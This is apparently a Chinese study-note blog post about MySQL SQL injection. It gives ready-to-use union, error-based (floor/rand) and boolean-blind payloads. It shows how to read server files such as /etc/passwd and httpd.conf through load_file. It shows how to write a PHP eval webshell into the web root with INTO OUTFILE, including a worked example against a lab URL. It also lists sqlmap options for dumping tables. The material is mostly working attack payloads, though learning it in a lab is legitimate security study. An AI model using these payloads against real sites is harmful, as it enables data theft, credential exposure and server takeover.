sql注入的分类:布尔型 报错型 可联合查询型 多语句查询型 基于时间延迟注入

1.注释符

#
/*
--

2.过滤空格注入

使用/**/或()或+代替空格

3.多条数据显示

concat(str1,str2.....)  可以连接一个或多个字符串,返回结果为连接参数产生的字符串,连接每一行的列
group_concat()  把所有的行连成一行,以逗号分开
concat_ws(separator,str1,str2......)  第一个参数是分隔符,如果分隔符为空,则结果为空。

4.相关函数:

system_user() 系统用户名
user() 用户名
current_user 当前用户名

length()  获取长度
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径

一.sql一般注入语句(联合查询:主要是找显示位):

猜字段 order by n --+

再通过union select 联合查询,爆出显示位 union select 1,2,3...

可以根据php内建函数,查看mysql相关信息

table_schema  获取所有数据库
table_name   获取表
column_name  获取字段

查询数据库

union select 1,2,table_schema from information_schema.columns --+

查询表名

union select 1,2,table_name from information_schema.columns where table_schema='查询到的数据库名' --+

查询字段

union select 1,2,column_name from information_schema.columns where table_name='查询到的表名' --+

查询数据

union select 1,2,group_concat(字段1,字段2......) from 数据库.表名 --+

二.sql报错注入(环境:主要是构造错误,不过公式里已经构造好了,在这里不能和group_concat()同时用,要用limit)

and(select 1 from(select count(*),concat((select (select ( payload ))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) --+

在payload处,写入自己的sql语句。

查询当前登录的数据库

+and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,database(),0x7e))) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查询数据库

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,table_schema,0x7e) from information_schema.columns
limit 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a)
--+

查询表

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,table_name,0x7e) from information_schema.columns
where table_schema="数据库名" limit 0,1)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group by
x)a) --+

查询字段

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,column_name,0x7e) from information_schema.columns
where table_name="表名" limit 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

查看有多少个字段

+and(select 1 from(select count(*),concat((select (select (select
distinct concat(0x7e,count(column_name),0x7e) from
information_schema.columns where table_name="表名" limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) --+

查看数据

+and(select 1 from(select count(*),concat((select (select (select
concat(0x7e,Host,0x7e,User,0x7e,Password) from 数据库名.表名 limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) --+

三.sql一般盲注(布尔型)(环境:没有显示位,没有出错,只能从页面返回正常和不正常判断):

exists()   有返回结果输出1,没返回结果输出0

ascii()   返回最左边字符的ascii码

substr(string string ,num start,num length)  返回一个字符串的子串  string为一个字符串,start为起始位置,length为取几个    mysql的起始位置默认从1开始

length()  返回字符串长度

判断表存在不存在

id=1' and exists(select * from information_schema.tables) --+

判断version()返回字符串的长度(6)

id=1' and (select length(version())) >6 --+

判断有多少个库(4)

id=1' and (select count(distinct+table_schema) from information_schema.tables) >3 --+

第%d个数据库名的字符串长度

id=1' and (select length((select table_schema from information_schema.tables limit %d,1)) > 17) --+

知道数据库名的长度后,再依次查看每个字符串,连接起来就是库名

第%d1个库的第%d2个字符的ascii码  依次类推可以得到数据库名

id=1' and (select ascii(substr((select distinct table_schema from information_schema.tables limit %d1,1),%d2,1))) >104 --+

获取当前数据库的第%d个表名的字符串长度 (3)

id=1' and (select count(table_name) from information_schema.tables where table_schema=database() limit %d,1) > 3 --+

获取当前数据库的第一个表名的第一个字符的ascii码  以此类推 可以得到表名

id=1' and (select ascii(substr((select
table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)) > 100) --+

获取当前数据库的emails表的第1列列名的第1个字符的length (2)

id=1' and ((select length(column_name)
from information_schema.columns where table_schema=database() and
table_name='emails' limit 0,1) >2)  --+

当前数据库的emails表的第1列 列名的第1个字符的length : 2

获取当前数据库的emails表的第1列 列名的第一个字符(104) 以此类推 获取列名

id=1' and ((select
ascii(substr(column_name,1,1)) from information_schema.columns where
table_schema=database() and table_name='emails' limit 0,1) >104)  --+

获取emails表里第一行内容的字符串长度(16)

id=1' and ((select length(email_id) from emails limit 0,1) > 15) --+

获取emails表里第一行内容的第一个字符串的ascii码(68)

id=1' and ((select ascii(substr(email_id,1,1)) from emails limit 0,1) > 67) --+

mysql root读写文件

两个函数:

load_file()   读文件内容并以字符形式显示出来,可以读取连接数据库的配置文件,首先要知道文件的绝对路径和对文件有读权限(默认是mysql)

条件:

file_priv  可以在 desc mysql.user里查看

知道文件的绝对路径

能够使用union

对web目录具有读权限

into_outfile()   把select的结果写入到文件

条件:

file_priv  可以在 desc mysql.user里查看

知道文件的绝对路径

能够使用union

对web目录具有写权限

没有过滤'

获得网站绝对路径的方法:

php报错显示绝对路径

load_file读web配置文件  然后在Document这可以知道网站根目录

phpinfo.php  info.php

php一句话木马:

select '<?php @eval($_POST["123456"]);?>'  INTO  OUTFILE '/var/www/html/a.php'

123456是连接菜刀的密码,a.php是你写入的木马文件名   /var/www/html 是网站根目录

以实验室的环境为例:

select 1,2,load_file('/etc/passwd') 先随便读取一个看看

id=18799' union select 1,2,load_file('/etc/init.d/httpd')--+  可以得到配置文件路径

union select 1,2,load_file('/etc/httpd/conf/httpd.conf')  得到网站根目录

(得到网站根目录后,怎么查看根目录下有哪些文件,具体是怎么得到数据库用户名和密码?因为访问网页的内容,肯定是连接数据库了,意思就是怎么得到连接数
据库的用户名和密码的?答:访问网站,在网页点击,然后查看网页源码,看有哪些配置文件,再用load_file()去读取,再查看源码,有php标签的
在网页显示不出来,要看源码)

然后就可以往根目录写一句话木马了,但前提是要对web根目录具有写权限,不然就没办法获取webshell了

例子

http://172.21.50.66/Less-1/?id=18799' union select 1,2,'<?php @eval($_POST["123456"]);?>' into outfile '/tmp/aa.php' --+

然后

http://172.21.50.66/Less-1/?id=18799' union select 1,2,load_file('/tmp/aa.php') --+

然后查看源代码。就看到写的文件了。

四.sqlmap简单用法

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行指令。

sqlmap枚举数据:

users,password hashes,privileges,roles,databases,tables and columns

当给sqlmap这么一个url的时候,它会:

1.判断可注入的参数

2.判断可以用那种sql注入技术来注入

3.识别出哪种数据库

4.根据用户选择,读取哪些数据

回显等级(参数-v)

0、只显示python错误以及严重的信息

1、同时显示基本信息和警告信息

2、同时显示debug信息

3、同时显示注入的payload

4、同时显示HTTP请求

5、同时显示HTTP响应头

6、同时显示HTTP响应页面

列数据:

-b

--dbs

--current-db

--tables -D database_name

--columns -T table_name -D database_name

--dump -C column_1,column_2 -T table_name -D database_name

--dump -T table_name -D database_name --start=1 --stop=5

--count -T table_name -D database_name

参考资料:

http://drops.wooyun.org/tips/143

http://www.freebuf.com/articles/web/29942.html

http://www.freebuf.com/articles/web/31568.html

3_初学sql注入的更多相关文章

  1. 初学JDBC,防SQL注入简单示例

    在JDBC简单封装的基础上实现 public class UserDao{ public static void testGetUser(String userName) throws Excepti ...

  2. [初学Python]编写一个最简单判断SQL注入的检测工具

    0x01 背景 15年那会,几乎可以说是渗透最火的一年,各种教程各种文章,本人也是有幸在那几年学到了一些皮毛,中间因学业问题将其荒废至今.当初最早学的便是,and 1=1 和 and 1=2 这最简单 ...

  3. PHPSHE 1.7前台SQL注入漏洞分析

    此CMS  SQL注入漏洞产生原因为未将经过 addslashes() 函数过滤的数据使用单引号包裹,从而导致的SQL注入漏洞.接下来看漏洞详情: 首先查看phpshe下的common.php文件37 ...

  4. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  5. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  6. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  7. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  8. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  9. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. docker~Dockerfile方式生成控制台和Api项目的镜像

    回到目录 一些理论知识 将控制台程序和API程序部署到docker,然后运行它,这个首先要解决的问题就是如何在linux平台运行C#代码,哈哈,很古老的问题,事实上,对于这种问题早在几年前就已经有了解 ...

  2. (转)通过Net-Speeder为搬瓦工提升网速

    为了解决丢包问题,最简单粗暴的方法就是双倍发送,即同一份数据包发送两份.这样的话在服务器带宽充足情况下,丢包率会平方级降低.直接优点是降低丢包率,直接缺点是耗费双倍流量.一些延伸影响是更容易触发快速恢 ...

  3. LeetCode-Triangle[dp]

    Given a triangle, find the minimum path sum from top to bottom. Each step you may move to adjacent n ...

  4. vue.js使用props在父子组件之间传参

    本篇文章是我参考官方文档整理的,供大家参考,高手勿喷! prop 组件实例的作用域是孤立的.这意味着不能 (也不应该) 在子组件的模板内直接引用父组件的数据.要让子组件使用父组件的数据,我们需要通过子 ...

  5. 现代C++新四大名著及C++学习杂谈

    现代C++新四大名著及C++学习杂谈 翻开自己的博客,在2012年8月我曾经写过如下一篇博客, <<C++学习的方法以及四大名著>> http://www.cnblogs.co ...

  6. python3网络编程之socketserver

    本节主要是讲解python3网络编程之socketserver,在上一节中我们讲到了socket.由于socket无法支持多用户和多并发,于是就有了socket server. socket serv ...

  7. VerilogHDL可综合设计的注意事项

    可综合的语法已经记录得差不多了,剩下一些遗留的问题,在这里记录一下吧. 一.逻辑设计 (1)组合逻辑设计 下面是一些用Verilog进行组合逻辑设计时的一些注意事项: ①组合逻辑可以得到两种常用的RT ...

  8. Java基础之接口与抽象类及多态、内部类

    final关键字 被其修饰的类,不能被继承. 被其修饰的方法,不能被覆盖. 被其修饰的变量,是一个常量,不能被修改,所以定义时必须初始化(和C++的const类似). 一般有final,会搭配stat ...

  9. 阿里消息队列中间件 RocketMQ源码解析:Message发送&接收

  10. 笨办法用js屏蔽被http劫持的浮动广告

    最近发现网站经常在右下角弹出一个浮动广告,开始的时候以为只是浏览器的广告. 后来越来越多同事反映在家里不同浏览器也会出现广告.然后深入检查了下,发现网站竟然被劫持了. 然后百度了一大堆资料,什么htt ...